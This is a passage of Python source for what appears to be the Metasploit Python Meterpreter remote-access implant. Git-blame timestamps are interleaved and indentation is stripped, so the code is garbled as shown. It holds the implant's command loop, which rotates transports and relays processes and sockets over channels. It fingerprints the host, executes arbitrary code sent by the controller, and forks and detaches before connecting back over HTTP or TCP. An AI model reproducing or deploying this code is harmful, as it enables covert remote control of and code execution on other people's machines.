# this will need to be changed if the bind stager ever supports binding to a specific address
if not address in ('', '0.0.0.0', '::'):
address, port = sock.getpeername()[:2]
url += address + ':' + str(port)
return cls(url, sock)
class PythonMeterpreter(object):
2018-01-09 21:43:40 +01:00
def __init__(self, transport):
self.transport = transport
self._transport_sleep = None
self.running = False
self.last_registered_extension = None
self.extension_functions = {}
self.channels = {}
self.next_channel_id = 1
self.interact_channels = []
self.processes = {}
self.next_process_id = 1
self.transports = [self.transport]
self.session_expiry_time = SESSION_EXPIRATION_TIMEOUT
self.session_expiry_end = time.time() + self.session_expiry_time
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func)
self.running = True
def register_extension(self, extension_name):
self.last_registered_extension = extension_name
return self.last_registered_extension
def register_function(self, func):
self.extension_functions[func.__name__] = func
return func
def register_function_if(self, condition):
if condition:
return self.register_function
else:
return lambda function: function
def register_function_windll(self, func):
if has_windll:
self.register_function(func)
return func
def add_channel(self, channel):
2018-03-18 22:31:23 +01:00
if not isinstance(channel, MeterpreterChannel):
debug_print('[-] channel object is not an instance of MeterpreterChannel')
raise TypeError('invalid channel object')
2018-01-09 21:43:40 +01:00
idx = self.next_channel_id
self.channels[idx] = channel
debug_print('[*] added channel id: ' + str(idx) + ' type: ' + channel.__class__.__name__)
self.next_channel_id += 1
return idx
def add_process(self, process):
idx = self.next_process_id
self.processes[idx] = process
debug_print('[*] added process id: ' + str(idx))
self.next_process_id += 1
return idx
def get_packet(self):
pkt = self.transport.get_packet()
if pkt is None and self.transport.should_retire:
self.transport_change()
return pkt
def send_packet(self, packet):
send_succeeded = self.transport.send_packet(packet)
if not send_succeeded and self.transport.should_retire:
self.transport_change()
return send_succeeded
@property
def session_has_expired(self):
if self.session_expiry_time == 0:
return False
return time.time() > self.session_expiry_end
def transport_add(self, new_transport):
new_position = self.transports.index(self.transport)
self.transports.insert(new_position, new_transport)
def transport_change(self, new_transport=None):
if new_transport is None:
new_transport = self.transport_next()
self.transport.deactivate()
debug_print('[*] changing transport to: ' + new_transport.url)
while not new_transport.activate():
new_transport = self.transport_next(new_transport)
debug_print('[*] changing transport to: ' + new_transport.url)
self.transport = new_transport
def transport_next(self, current_transport=None):
if current_transport is None:
current_transport = self.transport
new_idx = self.transports.index(current_transport) + 1
if new_idx == len(self.transports):
new_idx = 0
return self.transports[new_idx]
def transport_prev(self, current_transport=None):
if current_transport is None:
current_transport = self.transport
new_idx = self.transports.index(current_transport) - 1
if new_idx == -1:
new_idx = len(self.transports) - 1
return self.transports[new_idx]
def run(self):
while self.running and not self.session_has_expired:
request = self.get_packet()
if request:
response = self.create_response(request)
if response:
self.send_packet(response)
if self._transport_sleep:
self.transport.deactivate()
time.sleep(self._transport_sleep)
self._transport_sleep = None
if not self.transport.activate():
self.transport_change()
continue
2018-01-09 21:43:40 +01:00
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = list(self.channels.keys())
for channel_id in channel_ids:
channel = self.channels[channel_id]
data = bytes()
write_request_parts = []
2018-03-18 22:31:23 +01:00
if isinstance(channel, MeterpreterProcess):
2018-01-09 21:43:40 +01:00
if not channel_id in self.interact_channels:
continue
2018-03-18 22:31:23 +01:00
proc_h = channel.proc_h
if proc_h.stderr_reader.is_read_ready():
data = proc_h.stderr_reader.read()
elif proc_h.stdout_reader.is_read_ready():
data = proc_h.stdout_reader.read()
elif not channel.is_alive():
2018-01-09 21:43:40 +01:00
self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, MeterpreterSocketTCPClient):
2018-01-09 21:43:40 +01:00
while select.select([channel.fileno()], [], [], 0)[0]:
try:
2018-03-18 22:31:23 +01:00
d = channel.read(1)
2018-01-09 21:43:40 +01:00
except socket.error:
d = bytes()
if len(d) == 0:
self.handle_dead_resource_channel(channel_id)
break
data += d
elif isinstance(channel, MeterpreterSocketTCPServer):
2018-01-09 21:43:40 +01:00
if select.select([channel.fileno()], [], [], 0)[0]:
2018-03-18 22:31:23 +01:00
(client_sock, client_addr) = channel.sock.accept()
server_addr = channel.sock.getsockname()
client_channel_id = self.add_channel(MeterpreterSocketTCPClient(client_sock))
self.send_packet(tlv_pack_request('tcp_channel_open', [
{'type': TLV_TYPE_CHANNEL_ID, 'value': client_channel_id},
{'type': TLV_TYPE_CHANNEL_PARENTID, 'value': channel_id},
2018-03-29 23:28:34 +02:00
{'type': TLV_TYPE_LOCAL_HOST, 'value': inet_pton(channel.sock.family, server_addr[0])},
{'type': TLV_TYPE_LOCAL_PORT, 'value': server_addr[1]},
{'type': TLV_TYPE_PEER_HOST, 'value': inet_pton(client_sock.family, client_addr[0])},
{'type': TLV_TYPE_PEER_PORT, 'value': client_addr[1]},
]))
elif isinstance(channel, MeterpreterSocketUDPClient):
if select.select([channel.fileno()], [], [], 0)[0]:
try:
data, peer_address = channel.sock.recvfrom(65535)
except socket.error:
self.handle_dead_resource_channel(channel_id)
else:
write_request_parts.extend([
{'type': TLV_TYPE_PEER_HOST, 'value': peer_address[0]},
{'type': TLV_TYPE_PEER_PORT, 'value': peer_address[1]},
])
2018-01-09 21:43:40 +01:00
if data:
write_request_parts.extend([
{'type': TLV_TYPE_CHANNEL_ID, 'value': channel_id},
{'type': TLV_TYPE_CHANNEL_DATA, 'value': data},
{'type': TLV_TYPE_LENGTH, 'value': len(data)},
])
self.send_packet(tlv_pack_request('core_channel_write', write_request_parts))
2018-01-09 21:43:40 +01:00
def handle_dead_resource_channel(self, channel_id):
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
self.send_packet(tlv_pack_request('core_channel_close', [
{'type': TLV_TYPE_CHANNEL_ID, 'value': channel_id},
]))
2018-01-09 21:43:40 +01:00
def _core_set_uuid(self, request, response):
new_uuid = packet_get_tlv(request, TLV_TYPE_UUID)
if new_uuid:
PAYLOAD_UUID = binascii.b2a_hex(new_uuid['value'])
return ERROR_SUCCESS, response
def _core_enumextcmd(self, request, response):
extension_name = packet_get_tlv(request, TLV_TYPE_STRING)['value']
for func_name in self.extension_functions.keys():
if func_name.split('_', 1)[0] == extension_name:
response += tlv_pack(TLV_TYPE_STRING, func_name)
return ERROR_SUCCESS, response
def _core_get_session_guid(self, request, response):
response += tlv_pack(TLV_TYPE_SESSION_GUID, binascii.a2b_hex(bytes(SESSION_GUID, 'UTF-8')))
return ERROR_SUCCESS, response
def _core_set_session_guid(self, request, response):
new_guid = packet_get_tlv(request, TLV_TYPE_SESSION_GUID)
if new_guid:
SESSION_GUID = binascii.b2a_hex(new_guid['value'])
return ERROR_SUCCESS, response
def _core_machine_id(self, request, response):
serial = ''
machine_name = platform.uname()[1]
if has_windll:
from ctypes import wintypes
k32 = ctypes.windll.kernel32
sys_dir = ctypes.create_unicode_buffer(260)
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
return ERROR_FAILURE_WINDOWS
vol_buf = ctypes.create_unicode_buffer(260)
fs_buf = ctypes.create_unicode_buffer(260)
serial_num = wintypes.DWORD(0)
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
None, fs_buf, ctypes.sizeof(fs_buf)):
return ERROR_FAILURE_WINDOWS
serial_num = serial_num.value
serial = "%04x" % ((serial_num >> 16) & 0xffff) + '-' "%04x" % (serial_num & 0xffff)
else:
serial = get_hdd_label()
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
return ERROR_SUCCESS, response
def _core_native_arch(self, request, response):
response += tlv_pack(TLV_TYPE_STRING, get_native_arch())
return ERROR_SUCCESS, response
def _core_patch_url(self, request, response):
if not isinstance(self.transport, HttpTransport):
return ERROR_FAILURE, response
new_uri_path = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
if not self.transport.patch_uri_path(new_uri_path):
return ERROR_FAILURE, response
return ERROR_SUCCESS, response
def _core_loadlib(self, request, response):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE, response
self.last_registered_extension = None
symbols_for_extensions = {'meterpreter':self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
i.runcode(compile(data_tlv['value'], '', 'exec'))
extension_name = self.last_registered_extension
if extension_name:
check_extension = lambda x: x.startswith(extension_name)
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
for method in lib_methods:
response += tlv_pack(TLV_TYPE_METHOD, method)
return ERROR_SUCCESS, response
def _core_shutdown(self, request, response):
response += tlv_pack(TLV_TYPE_BOOL, True)
self.running = False
return ERROR_SUCCESS, response
def _core_transport_add(self, request, response):
new_transport = Transport.from_request(request)
self.transport_add(new_transport)
return ERROR_SUCCESS, response
def _core_transport_change(self, request, response):
new_transport = Transport.from_request(request)
self.transport_add(new_transport)
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
2018-01-09 21:43:40 +01:00
self.transport_change(new_transport)
return None
def _core_transport_list(self, request, response):
if self.session_expiry_time > 0:
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
response += tlv_pack(TLV_TYPE_TRANS_GROUP, self.transport.tlv_pack_transport_group())
transport = self.transport_next()
while transport != self.transport:
response += tlv_pack(TLV_TYPE_TRANS_GROUP, transport.tlv_pack_transport_group())
transport = self.transport_next(transport)
return ERROR_SUCCESS, response
def _core_transport_next(self, request, response):
new_transport = self.transport_next()
if new_transport == self.transport:
return ERROR_FAILURE, response
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
2018-01-09 21:43:40 +01:00
self.transport_change(new_transport)
return None
def _core_transport_prev(self, request, response):
new_transport = self.transport_prev()
if new_transport == self.transport:
return ERROR_FAILURE, response
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
2018-01-09 21:43:40 +01:00
self.transport_change(new_transport)
return None
def _core_transport_remove(self, request, response):
url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
if self.transport.url == url:
return ERROR_FAILURE, response
transport_found = False
for transport in self.transports:
if transport.url == url:
transport_found = True
break
if transport_found:
self.transports.remove(transport)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
def _core_transport_set_timeouts(self, request, response):
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value')
if not timeout_value is None:
self.session_expiry_time = timeout_value
self.session_expiry_end = time.time() + self.session_expiry_time
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value')
if timeout_value:
self.transport.communication_timeout = timeout_value
retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value')
if retry_value:
self.transport.retry_total = retry_value
retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value')
if retry_value:
self.transport.retry_wait = retry_value
if self.session_expiry_time > 0:
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
response += self.transport.tlv_pack_timeouts()
return ERROR_SUCCESS, response
def _core_transport_sleep(self, request, response):
seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
2018-01-09 21:43:40 +01:00
if seconds:
self._transport_sleep = seconds
return ERROR_SUCCESS, response
def _core_channel_open(self, request, response):
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
handler = 'channel_open_' + channel_type['value']
if handler not in self.extension_functions:
debug_print('[-] core_channel_open missing handler: ' + handler)
2018-01-09 21:43:40 +01:00
return error_result(NotImplementedError), response
debug_print('[*] core_channel_open dispatching to handler: ' + handler)
2018-01-09 21:43:40 +01:00
handler = self.extension_functions[handler]
return handler(request, response)
def _core_channel_close(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
2018-03-18 22:31:23 +01:00
status, response = channel.core_close(request, response)
if status == ERROR_SUCCESS:
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
debug_print('[*] closed and removed channel id: ' + str(channel_id))
return status, response
2018-01-09 21:43:40 +01:00
def _core_channel_eof(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
2018-03-18 22:31:23 +01:00
status, response = channel.core_eof(request, response)
2018-01-09 21:43:40 +01:00
return ERROR_SUCCESS, response
2018-03-18 22:31:23 +01:00
2018-01-09 21:43:40 +01:00
def _core_channel_interact(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
if toggle:
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
else:
self.interact_channels.append(channel_id)
elif channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
return ERROR_SUCCESS, response
def _core_channel_read(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
2018-03-18 22:31:23 +01:00
status, response = channel.core_read(request, response)
if not channel.is_alive():
2018-03-18 22:31:23 +01:00
self.handle_dead_resource_channel(channel_id)
return status, response
2018-01-09 21:43:40 +01:00
def _core_channel_write(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
2018-03-18 22:31:23 +01:00
status = ERROR_FAILURE
if channel.is_alive():
2018-03-18 22:31:23 +01:00
status, response = channel.core_write(request, response)
# evaluate channel.is_alive() twice because it could have changed
if not channel.is_alive():
2018-03-18 22:31:23 +01:00
self.handle_dead_resource_channel(channel_id)
return status, response
2018-01-09 21:43:40 +01:00
def create_response(self, request):
response = struct.pack('>I', PACKET_TYPE_RESPONSE)
2018-01-09 21:43:40 +01:00
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
response += tlv_pack(method_tlv)
response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
2018-01-09 21:43:40 +01:00
handler_name = method_tlv['value']
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
debug_print('[*] running method ' + handler_name)
result = handler(request, response)
2018-01-09 21:43:40 +01:00
if result is None:
return
result, response = result
2018-01-09 21:43:40 +01:00
except Exception:
debug_traceback('[-] method ' + handler_name + ' resulted in an error')
result = error_result()
else:
if result != ERROR_SUCCESS:
debug_print('[-] method ' + handler_name + ' resulted in error: #' + str(result))
else:
debug_print('[-] method ' + handler_name + ' was requested but does not exist')
result = error_result(NotImplementedError)
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
if not reqid_tlv:
return
response += tlv_pack(reqid_tlv)
return response + tlv_pack(TLV_TYPE_RESULT, result)
_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
2018-01-09 21:43:40 +01:00
if hasattr(os, 'setsid'):
try:
os.setsid()
except OSError:
pass
if HTTP_CONNECTION_URL and has_urllib:
transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT,
http_host=HTTP_HOST, http_referer=HTTP_REFERER, http_cookie=HTTP_COOKIE)
else:
# PATCH-SETUP-STAGELESS-TCP-SOCKET #
transport = TcpTransport.from_socket(s)
met = PythonMeterpreter(transport)
# PATCH-SETUP-TRANSPORTS #
met.run()